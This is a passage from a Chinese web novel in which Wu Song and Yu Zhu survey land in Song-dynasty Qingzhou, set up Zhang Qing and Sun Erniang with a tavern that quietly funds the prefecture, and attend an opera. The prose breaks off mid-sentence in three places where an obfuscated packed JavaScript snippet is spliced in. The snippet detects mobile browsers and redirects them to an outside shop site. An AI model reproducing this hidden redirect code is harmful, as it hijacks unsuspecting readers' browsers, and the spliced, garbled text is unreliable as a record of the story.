领头的老汉梗着脖子道:“这地是我家祖祖辈辈种了四五十年了,分明是我太爷爷亲手垦出来的,何时成了官家的了?” 一旁另有村民也愤愤不平,附和道:“是啊,明明这片地还不到十亩,你们怎的量出十二亩来了?这凭空多出的两亩怎么说?” 那公人哧了一声,轻蔑道:“都跟你们说了,这是‘乐尺’,‘乐尺’量出来就是这么多。圣人都说了,三皇五帝以礼乐治天下,你们不尊‘乐尺’,难道是想造反吗?” 话音未落,一个身材魁梧的大汉猛然将手中的锄头往地上一砸,锄头深深地嵌入泥土中。他满脸通红,青筋自脖颈爬上脸颊,未等那公人开口呵斥,便怒吼道:“杀了他!” “杀了他!”人群中立刻有应和之声,周边的百姓像被点燃的火药桶纷纷涌上前来。 那公人还未来得及再出声,就被愤怒的人群拉倒在地。一阵混乱之后,空气中弥散着浓重的血腥味,深红的液体顺着干裂的土地蜿蜒向远方…… * 青州,寿张县。 薄雾轻绕,曙光透过稀疏的云层洒在田野间。 武松与郁竺这些时日已辗转多个县邑,如今寿张县已经是最后一个了。 按照郁竺的安排,丈量公田一事有条不紊地在各县推行着,并未引起什么事端。 武松的目光落在田间,两位公人正与一位庄稼汉交谈。那庄稼汉原本眉头紧锁,听闻公人说了几句,竟猛地跪倒在地,两公人眼疾手快,急忙将老汉扶了起来,老庄稼汉又不管不顾地转过身,朝着郁竺与武松所在的方向,遥遥拜了下去。 郁竺未曾料到,自己竟然会突然受一个老人家的大礼,连忙躬身回了过去。 这两个公人是武松精挑细选出来的,说话做事很有章法,一分人情能被他们讲出十分来。不用说,在那老庄稼汉的心里,几人已经和救苦救难的菩萨没什么两样了。 武松目睹此景,不禁轻声叹息,缓缓言道:“我听说不少地方,因为推行公田制,已经激起民变了。” 郁竺点点头,连日来与武松奔波于各县之间,所见流民数目激增,皆是自河南、河北等地逃难至此。 当初她让韦暄“拖”,也带了这方面的考虑——毕竟成效是比较出来的,别的地方都是“负分”,我青州哪怕做个“零分”也算不错的了。 只是,当那些流离失所的平民真正出现在她面前是,还是令她忍不住心下震动——现在的统治者,其行为之荒诞,远远出乎了她的意料。 赵佶正在东京修建着他最伟大的园林艺术作品——艮岳,全然不知各地百姓困苦至极,甚至已经到了易子而食的地步。 虽说在史书中也曾读过这些事情,但真正亲历时,感受是不一样的。 “取之尽锱铢,而用之如泥沙。②”想到此处,郁竺轻叹一声。 武松作为她在此间目前最为亲近的人,她在他面前已无过多掩饰的必要:“乱自上作,怕是官家还沉浸在盛世繁华的美梦里呢。” 武松闻言,眉头一跳。 却见远处有饥饿的流民蹒跚而来,看见二人衣着整洁光鲜,眼中闪过贪婪之色,犹如饿狼窥见羊肉。 郁竺垂眸避开这令人不适的目光,一旁的武松不动声色地将她拉近自己身旁,同时向那群衣衫褴褛的流民投去凌厉的目光。 流民们见武松身形魁梧,气势逼人,不敢轻举妄动,纷纷收回了眼神。 武松暗舒一口气,却在余光里瞥见了两个熟悉的身影。 18.第 18 章 郁竺被武松拉向角落的时候,还有些不明所以,刚要询问,却见他使了个眼色,便闭上了嘴。 果然,不一会儿,两个戴着兜帽、形似流民的人便寻到跟前,还未等郁竺开口,个子高些的那个先摘下了自己的帽子,郁竺看清他的面容,瞪大了眼睛。 “张大哥?” 她又将目光移到旁边那稍矮些的人身上,只见那熟悉的面孔上带着显而易见的疲惫之色,郁竺惊讶道:“嫂子!” 武松环顾四周,低声说道:“哥哥嫂嫂,此处虽然暂时无人,却也不是说话的地方。” 张青点点头,接话道:“正是如此,因此方才看见你们,我也没敢上前认人,直到兄弟往后处走,我才寻来。只是你们怎么在此处?不曾去……” “说来话长,找处地方再细说。” 二人将身上那件破破烂烂的兜帽摘下,团塞进张青挑着的担子里。郁竺看着二人衣着还算整洁暖和,这才舒了一口气,就知道他俩怎么也不会沦落到当流民的地步,破烂的兜帽定是掩人耳目所用。 武松在寿张县找了处卖鹌鹑馉饳的店,要了一个隐蔽的坐处。 四人坐定,武松将郁竺澡堂搭救韦暄,二人得以去青州的故事讲了。孙二娘听罢吃惊道:“这么说,武二兄弟和妹子,现在是官府的人了?” “严格来说,只有兄长是,我不是。”郁竺笑着揶揄道。 “害,早晚的事儿嘛。”张青头也没抬吃着馉饳,在一旁补道。 郁竺看着张青,心中有些猜想,话在嘴里转了一圈,换了个方式吐出来:“只是张大哥你们怎么来了这里?家里营生呢?” 张青闻言,将面前那碗馉饳几乎是倒进喉咙里,待嘴里食物咽干净了,才说道:“我们正是要往二龙山投奔。” 话至此,他却不肯再往下说,倒是孙二娘接道:“还不是因为官府弄出个甚么‘公田所’来,直把百姓家中最后一点油水都榨了个干净。十字坡如今已是十室九空,我们那小店也是开不下去,索性投了二龙山去,便混在这流民中,一路辗转到这儿。” 孙二娘说罢,大家都沉默了下来。只等张青又要了碗馉饳吃完,末了,才问武松:“兄弟,你怎么不来一碗?” 武松摇了摇头,如实道:“早晨用得足,此刻不饿。哥哥嫂嫂路途劳顿,尽管吃吧,无需顾念我俩。” 郁竺望着面前二人风卷残云,心中暗自感叹,世事无常。明明不久前,夫妻二人还在十字坡收留了如丧家之犬的自己与武松,而今光景已是大不相同。 纵使她一向很少生出这种矫情的感慨,此刻也不得不承认,真真是时代的一粒尘埃,落在每个人肩头,皆成了一座难以逾越的大山。 只是不知在那原本的轨迹之中,他们二人是否也是紧随武松之后投了二龙山去。 不对,武松现在没有去二龙山。 郁竺心中忽地一亮,有所顿悟——既然武松未去二龙山,那么他们为什么要去呢? 若是二人能留下来……那么公田所一事中,自己筹划的最后一环,不正是有了最好的人选! 孙二娘正吃着馉饳,无意间抬头却发现郁竺妹子看她的眼神,亮得有些不对劲,只听她道:“张大哥,嫂嫂,小妹斗胆相邀,不知你二人可愿随我们前往青州?” 正在打饱嗝儿的张青闻言愣住了,一口气被堵在嗓子眼儿上不上下不下,吊得他差点干咳出来,却听武松也道:“正是此理,哥哥嫂嫂何不与我们一同去青州,好过去二龙山落草。” 张青闻言,没有立即应声,倒是孙二娘笑着回道:“兄弟和妹子的美意,我俩心领了。只是我二人去了青州,即便是暂且栖身你们那里,也难以寻得个安稳的营生啊。” 此言确是实情,武松听后,不由得沉默。他思量着,凭自己的一身本事自立容易,可若想为张青夫妇寻个安稳的归宿,过上舒心日子,着实没有十足把握。 如此想来,倒真不如让他们去二龙山落草为寇来得自在,只是,故人刚刚重逢,又要分别,心中难免涌起几分不舍,却听郁竺的声音在耳边响起。 “这个嘛,张大哥和嫂子不必担心,我自是替你们想好了合适的营生。” 这话一出,不光是张青夫妇愣住了,就连武松都露出了惊讶的神色:“妹子何时想的如此周全?” “刚刚。” “……”六目相对,一时无话。 * 甭管郁竺这个提议看起来有多不靠谱,武松默契地还是将张青夫妇半挟持半劝说,带到了青州。 对于武松这种执行力,郁竺在心里给他点了个赞。 由于内衙空房很多,武松就将夫妻二人安置在了自己隔壁的一间空房暂住。 今日恰逢休沐,进了府衙没遇到什么人,孙二娘忍不住好奇地张望着,这是她第一次进到州府官衙里,郁竺也就指着衙门内的陈设一一给她介绍。 待到了厢房,刚把行李放下,孙二娘终于忍不住凑上来问郁竺:“妹子说的到底是什么营生啊?” “不急,先住下再说。”郁竺帮她将带来的东西稍微整理了一下,转而向武松喊道,“兄长,先带大哥他们去衙前街逛逛吧,看看有什么要采买的。” 武松自然应好,他也正有此意——张青夫妇待他不薄,将他当做亲兄弟,如今自己境遇尚可,自然是想回报一番,哪怕郁竺不能像她所说的那样找到适合的营生,二人最终还得去二龙山,现在也得去采买些东西,让他们带着路上用。 张青推脱客气了一番,终是盛情难却,四人便出了府衙往衙前街上走。 衙前街,顾名思义,就是府衙前面的街,也是整个青州最为繁华的一条街。此时正是晌午,整个街上店铺林立,旌旗摇曳,人来人往,十分热闹。 孙二娘见了,十分羡慕:“要是我们十字坡也有这么些人,生意可就好做多了。” 张青闻言用胳膊轻轻碰了下孙二娘,后者便闭上了嘴。 说者无心,听者有意,这话落到武松耳朵里,他头脑飞快转了转,突然觉得自己似乎有些猜到了妹子的用意。 想到此处,他便对孙二娘说道:“嫂子,这街上生意好做,可不只是因为往来的人多。” 见孙二娘面露好奇之色,他卖关子似的指着前方一家客邸招摇的旌旗:“这条街上,生意最好的属四种店。” 张青顺着他手指的方向看去,只见那客邸小窗开着,楼上下两层都坐满了人,好不热闹。 武松继续道:“其一,就是这客邸,县乡里人来打官司,要找地方投宿,衙前街上的客邸自是最方便的。” 孙二娘咋舌道:“官司一拖便是许久,这些客邸看起来可不便宜,住下来得花多少银两啊!” 张青在一旁啐道:“就属你银子要紧,你若不住这里,官府要找人时岂不抓瞎?倒是你对家先上了公堂,说得天花乱坠,官老爷听了他的话,随意下了判书,有的你哭去。” 张青说得粗俗,道理却不错,郁竺笑着点头:“张大哥这话在理。” 武松见郁竺并未出言反驳,知道自己只怕猜对大半了,便继续道:“第二种店嘛,就是茶坊,好些戳子、讼棍都在里头,他们不光能写讼状,有时候连怎么判的都提前能知道,人人都来此处找他们打探消息,茶坊的生意自然红火。” 张青夫妇没开过茶馆,对此便没有什么概念,但武松说得详细,他们也就点了点头。 郁竺倒是听得有些心猿意马,说起来,这些人还算是她的祖师爷,看着茶坊里人来人往,不禁盘算着有朝一日回去了,要不要把事务所挪到法院对面去,却听到耳边传来武松的声音:“第三种店嘛,还得往前走走。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024221|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一行人又往前走了十几步,随着武松的脚步停在一处药铺旁。 只见药铺里一人撅着屁股趴在门前的条凳上“哎呦哎呦”的,他家里人正在和药铺掌柜讨价还价。 这回不用武松说,孙二娘抢先道:“我知道了,药铺生意也好,官府里面用刑,外头可不就得卖药嘛。” “嫂子真是聪慧。”郁竺接过孙二娘的话头,看了眼武松,发现他也正在看向自己,二人心照不宣地笑了,郁竺接着道:“那嫂子可知道,这生意好的第四种店是什么?” “肯定是这酒店。”孙二娘指着前头一家生意兴隆的门面,道:“打官司的人要吃饭,戳子讼棍要吃饭,官府里的人也要吃饭,对不对?” “不错。”郁竺笑眯眯地看着张青孙二娘夫妇,“既然如此,大哥嫂子在这处开家酒店可好?” “啊?这这,怎么……” “好了,哥哥嫂子,进去慢慢说,走了这么久,我都饿了。”武松打断了目瞪口呆的张青,指着几人驻足的这家“八仙楼”,“哥哥嫂嫂先去寻个散座儿,这家店我和妹子常来,我们去招呼下掌柜上什么酒菜。” 张青夫妇闻言,也无二话,在寿张县那一顿小食已经是几个时辰前的事情了,这些天路上并无油水,此时日头高照,这会儿确实有些腹内空空。 郁竺故意放缓脚步,待武松并肩而行时,才轻声问道:“兄长如此善解人意,似乎早已洞察了我对大哥和嫂子的安排?” 她轻轻挑眉望向武松,武松亦低头,含笑瞥了她一眼,回答道:“原先不知道,直到上了这街,看了这些店家,就想到了。” “兄长好智谋,佩服佩服。”郁竺故作恭敬,双手作揖道。 方才武松一到这街上,还没走几步,就给张青孙二娘介绍起这里生意最好的四种店来,要知道,他平日非多话之人,费这番口舌,定是已经猜到郁竺用意,才想法帮她说服张青夫妇。 武松闻言用肘轻轻碰了下郁竺的肩膀头:“别取笑我了,虽说在这街上借着官府的势儿开店容易,可这油水足的事儿,你确定别人能让给我们?” 郁竺示意武松稍稍低下头,轻声说道:“兄长放心,我早已探得那新乐楼的掌柜,原是上任通判小舅子的弟弟,他靠山走了,生意不似之前好做,早有转让门面的意思。” 武松皱了皱眉:“他想转,要的人自然多,这么多官老爷亲戚,你打算怎么抢,要去求韦大人吗?你确定大人会帮这个忙?” 郁竺神秘兮兮一笑:“不是去求大人,也不是大人帮我们,而是我们帮他一个忙。” 武松不明所以,说话工夫,二人已走到酒案前,他跟那掌柜自已熟识,叮嘱两句,那掌柜的就点头哈腰将他引向散座。 这番景象落在张青眼里,自然又是一阵惊叹:“唉,兄弟,你怕不是天天来自处,这般熟稔了。” 孙二娘转了转眼睛,小声道:“兄弟,你来此处吃饭,是不是不要银钱呐。” 武松也没遮掩,坦然道:“衙门里有公使钱,就是专门作这处用途的。” “所以嫂嫂以后在此处开店,见到兄长来,尽可以宰他一顿。”郁竺打趣道。 武松无奈,用筷子轻轻敲了敲郁竺的手背,又对张青夫妇道:“妹子这话虽然不太中听,但也不是全无道理。官府里的人来吃饭,菜价就记得贵些,菜就少些,因为横竖不是自己出钱,平民百姓来,就还按照外头的价钱分量来。” 张青若有所悟点点头:“如此,开店在此处,每年得孝敬官府不少吧。” 孙二娘白了一眼张青:“孝敬就孝敬,有得赚就不怕孝敬,不孝敬这好事儿轮到你呀。” 说罢,又扯了扯武松:“诶,兄弟,你说我们真能在此处开酒店吗?” 武松毫不犹豫地指向郁竺,将她卖了:“问她。” 19.第 19 章 “好办好办。”郁竺打了个哈哈,将酒水给张青和孙二娘满上,又对他们道:“这衙前街的铺子,本就是公家的,租金之事可以商议,我已寻好一处,只是张大哥和嫂子得先答应我一件事。” “害,妹子就别卖关子了,有什么事我们不能答应的。”孙二娘推了推郁竺,急切道。 “既然如此,便打开天窗说亮话。”郁竺也不再遮掩,直言道,“嫂子可知,这衙前街的店家,基本都是官府各位老爷的亲眷,就算他们也得额外孝敬官府银钱,每年数目占到自己盈收的这个。” 郁竺说着,比了个“二”的手势。 孙二娘张青看了一惊,却听郁竺继续道:“我和兄长虽与韦通判有恩,但却非亲非故,嫂子要是在此开店,得将这个数额翻倍,我和大人才好开口。” 四成不是一个小数目,孙二娘算着如果每年赚上一千两的话,就得有四百两白白拱手让人,心里不禁有些舍不得。 可是她又看着周围的人来人往,自己十字坡那小店,就是一年,也来不了这里一天的客人。 如此,就算让出去四百两,自己不是还有六百两么! 想到此处,她也不问张青意见,直接咬咬牙道:“好,我答应妹子。” “如此,大哥嫂子静候佳音便是。” * 吃完饭,武松又给二人采买了些日常吃用的东西,四人便一同返回府衙。 刚走过那照壁,却见公堂里堆了些人,郁竺给孙二娘使了个眼色,叫她夫妻二人先回房间,自己和武松凑上去。 拨开人群,却见是韦暄正在处理一个案子,郁竺凝神听了一会儿才明白怎么回事。 原来是对夫妻吵架,那丈夫说妻子日日殴打自己,邻居有好事者帮忙告了官。公差随即将妇人带到了衙门,谁知那丈夫又匆匆赶了过来,言语里似是舍不得自家妇人。可妇人却不愿跟丈夫回去,说此番一闹,自己名声已毁,硬要讨个公道。 接近年底大考,慕容彦达不问公事,韦暄已是忙得焦头烂额,哪有工夫处理这等闲事。 偏偏那妇人吊着韦暄,直呼青天大老爷之类的话,将他架得不上不下。无奈,只得叫公人拿来纸笔,写了个告示,准备叫人去门口贴上。 郁竺上前一看,那纸上写道: 夫妻反目,常事; 两邻相告,生事; 捕衙拿人,多事; 本官不准,省事。① 郁竺看乐了,遥遥拱手,朗声朝着韦暄笑道:“大人好文采,俗话说清官难断家务事,看来是没有大人的本事才是。” 韦暄一看是郁竺,顿时这“家务事”抛诸脑后,将她和武松拉到二堂后面自己的书房,急切地问道:“你们可算回来了,快与我说说,那下方公田所情形怎样?我可是听说其他州已经闹得沸沸扬扬。” 郁竺将实情逐一禀报:“大人放心,六县我们均已看过,公差们推行之策颇为和缓,未曾激起民怨盾,纵有百姓心存不满,听说我们不急着收公田钱,也没有再生事端。” 韦暄闻之,颔首之余,又不禁长叹一声:“说到这公田钱,唉,真是让人头疼。我这两天已将今年的课税细细过目了一遍,发现差距甚远。原本我还打算将今年分给下面各县的税稍稍压一压,用来填补公田钱的空缺,如今看来,此计难行。倘若强行压制,只怕各县衙门开支也难以为继。” “所以,此番我与兄长特为大人引荐两位能解此困之人。” …… 山林四合香的气味从香炉中喷射而出,弥漫在整个书房内,有些烟蒙蒙的,仿佛在屋里挂上了晶莹剔透的鹅溪绢。 这是韦暄素爱用的香,以荔枝壳、甘蔗滓、干柏叶、茅山黄等物制成,都是寻常之物,价格并不高昂。 是了,韦暄并不是一个铺张之人,虽是皇亲国戚,但他并未沾染东京那奢靡浮华之气,并时常引以为傲,自诩有文人的风骨。 然而,刚刚郁竺提出的建议,叫他有些为难,他摩挲着下巴颏暗暗思忖着——按照郁竺的说法,如果将新乐楼盘来给自己人经营,按照现在的营收,分四成给衙门,每个月就有将近两百两银子。 且最近到了年底,周围的大户人家酒宴多,府里膳房里忙不过来,经常在外面订餐食送往家里,要是能将这些生意都收入囊中,收益更是可观,仅这个月就能有近千两的收入,完全可以填平公田钱的空缺。 但是这期间,有不少要自己亲自斡旋之处,别人才会卖他这个“官老爷”的面子。只怕频繁开口,会落得个敛财的名声。 诚然,此举初衷是为黎民百姓,可若要以个人名声为代价,这其中的得失,他还得仔细权衡一番。 郁竺看出了韦暄所想,这世间不爱惜名声之人才是少数,连山上的贼寇都要占个“义”字,何况他还是一州通判呢,因此这般顾虑也无可厚非,还是得找个好听的由头才是。 于是,她提议道:“大人,以卑职浅见,不妨将‘新乐楼’易名为‘善义楼’,并从中抽出一部分盈利以赈济流民。对那些州里富户,也只说要他们襄助此楼安济百姓之举,方要多多惠及此楼生意。如此,既能收获美名,又能解当务之急。” 韦暄闻言眼前一亮,此举虽然不乏沽名钓誉之嫌,但也算两全其美的主意了。 相比起那些只顾敛财的官员,他已是一股难得的清流。韦暄又回想起郁竺与武松所描述的其他州县百姓困顿难捱,不禁有些自得——自己这番,是切切实实为青州百姓谋得了一桩福祉。 想到此处,他一扫面上的犹豫之色,叮嘱道:“此法确实可行,但关键在于所选之人必须绝对可靠。” 武松连忙作揖,为张青孙二娘担保道:“大人放心,都是武松的亲人,自然是信得过的。” 言罢,又差遣屋外的公人,将侯在一旁的二人喊来见过大人。 张青夫妇在厢房忐忑地等了一个时辰,终于见人来叫。 临行前,郁竺曾提醒他们整理好仪容,暗示通判大人可能会有召见。彼时张青还不信,毕竟他们在孟州经营多年,连县太爷的面都难得一见,更别提高高在上的通判了。 然而此刻被公差毕恭毕敬地引领着前行,心里却逐渐紧张了起来,手心儿都在冒汗。 到了通判大人书房前,见郁竺和武松正候在门口,才稍稍安心了些。 “别担心,我们大人是个好性子,问什么说什么便是了。”武松看出二人的紧张,喂了颗定心丸。 果然,韦暄其实并无和社会底层百姓打交道的经验,见了张青孙二娘,只会问些诸如来自何处、家中几口人等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033297|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单问题。这些问题武松早已提前为张青夫妇“培训”过,自然是应答如流。 问完这些话,韦暄便陷入了沉默。在他的认知里,这两人算是自己的“洗钱工具”,他有些羞赧不知如何开口,还是郁竺主动将话挑明,说到酒楼分成的事情。 孙二娘何等机灵,立刻道:“我们能做这生意,全赖大人的荫庇,且大人也是为了百姓生计,莫要说四成,就是全都给大人也是应该的。” 一句话说得韦暄面皮微红了起来,又客气了两句,终是放心下来。 送走张青夫妻二人,韦暄又和武松郁竺细细商议了一些细节,诸如改如何拿捏大户,找些把柄让他们心里忌惮,主动照顾酒楼生意,又如官府的人去吃饭,如何设法多捞些油水……不知不觉外面的天竟然黑了。 半天下来,郁竺感觉自己其实还是蛮有当贪官的天赋的,更不要说武松,看着浓眉大眼豪气冲天的,弯弯绕的招数却不少。 倒是韦暄,虽然满腹经纶,却颇有些天真之气,郁竺觉得他被从东京赶到青州属实不冤,要不是他的家世,早就被贬到偏远恶州去了。 等等……韦暄在历史上都没留下姓名,会不会这个原因。 韦暄丝毫没有意识到自己这方面的不足,此刻正沉浸在自己干了一件“大事”的喜悦中。 这一高兴,又不免想起现如今还有一处地方不如意——他从家里带来的散从吴胜和如今看重的郁竺之间似是有些不睦,不然吴胜也不会告假如此之久。 毕竟都是为自己效力之人,若是有龃龉,于他也无利,便想寻个机会缓和一下二人的关系。 于是,韦暄欣然提议道:“今日也算了了一桩心事,不如我做东,请大家去瓦舍寻些乐子。对了,吴老身体也好些了,叫他一起去。” 郁竺蒙了,一时对“寻乐子”产生了多种遐想。武松瞧见她表情,轻轻推了一下:“妹子在想什么呢,大人喊我们去听戏,你不去?” “啊,对对,去,当然去。”郁竺如梦初醒,原来是正经娱乐,只是自己想歪了。 见二人爽快答应,韦暄便起身朝门外迈步而去,郁竺紧跟其后,武松则走在最后。 方走到门处,武松却忽地将身上的对襟棉袍脱下披到郁竺身上,将她往内衙处推去:“妹子先前说冷,这会儿先回去加个衣服再去。” “?”郁竺是丈二和尚摸不着头脑,心道,我什么时候说过冷了? 韦暄也在前方疑惑道:“今日天气尚可,并不觉得有多冷啊。” 却见武松坚持道:“女子畏寒,妹子还是快去加件衣服吧。” 尽管郁竺一向以聪明自居,也不妨碍她此刻如坠云雾、不明所以,抬眼看向武松,却见他稍深的面上透出一些不易察觉的红晕。 她立刻意识到武松此举别有深意,于是顺水推舟道:“行,那我回去加件衣服。” 韦暄回头望了一眼,随即转身道:“那你稍快些,我先去找吴老,回头让你兄长带你过去。” 回到屋内,郁竺脱下武松披在她身上的棉袍,仔细翻找了一番,却并未发现任何异样。 她满心疑惑,正要喊来武松问个明白,却突然灵光一闪,低头审视起自己的外袍来。 果然,在后臀处,一抹鲜红的血迹赫然映入眼帘。 20.第 20 章 郁竺非常淡定地将沾了血的外袍换了。 自来了此处,月经来时她一直都是用的自制“草木灰姨妈带”——一条精心缝制的带子,上面嵌有一个长方形的布袋,内里填充着经过高温消毒的草木灰,为了便于更换,布袋顶端设计了一个开口。 吸收效果自是比不上后世的卫生巾,但是还算干净卫生,毕竟草木灰算是高温消毒过的。不巧今天在韦暄那里坐了将近一下午,忘了更换,便漏了出来。 想到曾经上学的时候,也发生过类似尴尬的事情,班上的男生便跟在她后面偷偷嘲笑。如今她倒是看得坦然了——这不过是女性生命中再自然不过的一部分,没什么可害羞的。 只是每月来上一次,确实非常不便。如今棉花尚未普及,平民百姓穿衣都少有棉布,更遑论用棉花来制作卫生巾,也不知以后有没有机会造出这个东西,造福一下此时的女同胞们。 暂且将这些略显遥远的念头从脑海中驱散,郁竺检查了一下武松给她的长袍,确保没有沾到血迹后,便打开门。 门外,武松正抱臂而立,静静等候着。 “多谢兄长。”郁竺将袍子还给武松,直接略过此事。 武松本也不是那等无聊之人,只是他无意瞥见,怕郁竺外出尴尬,又不方便提醒,才如此行事。 如今郁竺自己发现了,他自然不会再多说其他的,在前面沉默地带着路,往韦暄说的那家瓦子走去。 韦暄常去的柳家瓦子,是青州最为繁华的声色场所,郁竺对此地一无所知。相比之下,武松因常随韦暄应酬,对那里已颇为熟悉。 武松闷头走在前头,气氛一时有些沉默,郁竺便主动问道:“不知这瓦子里有什么好的去处?” 前面的人闻言脚步稍缓,他知道郁竺是在找话打破尴尬,侧身等她跟上,才开口解释道:“瓦子里设有勾栏,勾栏里面可以听曲儿看戏,还有吃喝。” “除了这些,便没有其他了吗?”郁竺好奇地追问道。 “其他?”武松诧异道,“还能有什么别的呢?” 看来自己想多了,郁竺暗暗腹诽——后世常将勾栏瓦肆相提并论,以至于她误以为这就是烟花之地的代名词。如今听武松一解释,才明白原来这竟是正规的演艺场所。 走了一小刻钟,逐渐有丝竹之声飘来,柳家瓦子已近在眼前。 郁竺抬眼望去,只见这瓦子不同于她想象中的大酒楼,倒像是一个繁华的商业集市,占地面积极广,估摸着有五十多亩地,热闹非凡。 看郁竺一脸新奇的样子,武松给她解释道:“这柳家瓦子可是青州城中的一绝,里头光勾栏就有二三十座。” 踏入瓦子,只见里面各种摊位琳琅满目,果真是吃喝玩乐,应有尽有。那卖小食的摊位,有卖头肚、白肠的,有卖各色糖油果子的,香气扑鼻;测字算卦的道士摇头晃脑,跟前挤满了人;杂耍卖艺的更是几步一摊,周围喝彩连连;还有那数不清的货郎游窜在人流中,鼓鼓囊囊的货担上塞满了东西,像个移动的小百货商店…… 郁竺看得眼花缭乱,心中暗自赞叹,又见一处戏台,前搭着宽阔的棚子,后面还有几个小房子,棚子入口挂着绣旗,上书“莲华棚”三个大字。 武松见郁竺盯着那绣旗看,也上前瞅了一眼,笑道:“这莲华棚虽也不错,但柳家瓦子里最好的还是那夜叉棚。夜叉棚的戏好,酒菜更是一绝,大人正等着咱们呢。” 韦暄不愧是东京来的官二代,就算生活不算铺张,还是比一般人会享受。郁竺在心里吐槽了一句,跟着武松穿过熙熙攘攘的人群,向着那传说中的夜叉棚行去。 夜叉棚与莲华棚相距不过两三个小的勾栏,很快便到了。入门后,眼前豁然开朗,一二百个座位错落有致,然而,武松并未落座,而是领着郁竺,沿着一旁的木梯径直迈向二楼。 郁竺心中暗自揣测,估计去的是贵宾包厢,视野好。 及至二楼,武松果然直奔一处厢房,推门而入,只见韦暄与吴胜二人已悠然落座。韦暄面色微红,似是已经浅酌了几杯。 见二人进来,韦暄连忙招呼道:“快快快,来坐。” 吴胜则是直接给郁竺和武松斟满了酒,道:“你等来晚了,便将这杯酒罚了!” 郁竺是能喝些酒的,原来工作中免不了有些应酬。但凡应酬,总是碰到些爱劝酒又得罪不起的人,长此以往,她便练了一点酒量出来。且宋朝的酒度数不高,本算不得什么,但是今天特殊日子,她便有些犹豫,怕这酒喝下去伤身。 不想武松端起郁竺面前的酒杯一饮而尽,道:“我妹子今日身体不适,这杯酒我就替她饮了。” 还会等郁竺开口,吴胜就拍着武松的肩膀道:“你这兄长当得如此周到,若是日后妹子嫁为人妇,怕是要一路护送到那夫家门前咯!” 吴胜这话颇有深意,无非暗示郁竺再怎么展现自己的能耐,也只能在男子的羽翼庇护之下。郁竺听着有些不快,只不过酒席尚未开始,总不能立刻翻脸,便朝吴胜投去一个敷衍的笑意。 韦暄今日本就是为了调和二人关系才设此宴,如何能让场子冷下来,只是他本不善于此等圆融之事,半天才想出一个“两全其美”的好说法:“吴老,这些天你不在,我可深有体会,郁姑娘真有大才也,日后嫁入夫家,定会叫他们不敢轻慢。” 他这话一说完,吴胜的笑容就好像硬粘在脸上的面具脱了胶,无法和跟随皮肉活动了。 郁竺有点想笑——吴胜心眼小,最听不得的就是别人夸她能干,偏韦暄直接踩到雷点上,他这略显笨拙的情商在此刻显得无比契合心意,让她不禁想揶揄几句,还未开口,只听楼下戏台锣鼓齐鸣,原来好戏开场了,郁竺只好将话咽回肚子。 只见那戏台上灯烛摇曳,小小的一方天地,一男一女两个戏子在上面亮了相之后就咿咿呀呀唱了起来。 台下百十余个座位此刻皆已坐满,一片喝彩之声,厢房里的几人也被吸引住了目光,不再议论之前的话题。 那唱腔带了点方言,郁竺有些没听懂,但见其他三人都看得认真,也不好意思问,凝神听了一会儿,才隐约明白讲的什么故事—— 戏文里那书生叫张协,上京赴考途中,遭遇山贼抢劫,身负重伤,得一贫女子相救才保住性命,他便娶那女子为妻。贫女剪发卖发换得盘缠供其进京。张协一举考取状元,得权臣青睐,欲招为婿,张协拒而不纳,因此开罪权臣,授官偏远州县。 贫女从登科录上得知张协高中的消息,千里迢迢寻夫,却被张协拒之门外,无奈回家。 后来张协上任途中偶遇贫女,便想取她性命以绝后患。贫女跌落山崖,幸而未死,反被权臣收为养女。 最后在权臣的撮合下,张协最终和那女子破镜重圆。 台上一男一女两个演员相拥而泣,台下一片叫好,郁竺听得是莫名其妙。 她心道,那张协都杀人未遂了,就这样原配还能放下仇恨,两人破镜重圆,这故事放到现代,能被读者在论坛上骂出两三百页。 韦暄看完倒是感叹道:“虽说富贵易妻之事屡见不鲜,可若是缘尽,好好给些银钱安抚一番也罢,何必痛下杀手呢?” 吴胜自行斟满酒杯,悠悠道:“大人慈悲为怀,这女子虽说此前救人,但未必不是投机,盼着所救之人有大造化。大人可知,正是因为这戏文,如今不少闺秀与进京赴考的贫寒书生私相授受,盼着有朝一日当个状元夫人,实在大伤风化。” 郁竺听不下去他这一番祸水东引之论,反驳道:“即便女子救人时心有他念,张协毕竟因她而活,若无此恩,何来日后登科的际遇?恩将仇报,到底不妥。” 吴胜咂了口酒,挑眉道:“若非女子机缘巧合,被权贵认作义女,岂能与状元相配?戏文而已,郁姑娘莫要当真了。” 这颇有些讲不过就捂嘴的风范,郁竺摇了摇头:“救命之恩,哪里是配与不配能衡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043506|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量的。” 吴胜闻言眼神一亮,花白眉毛微动,笑道:“郁姑娘如此为这女子辩解,莫不是十分赞同这女子挟恩求报的行为?” 挟恩求报? 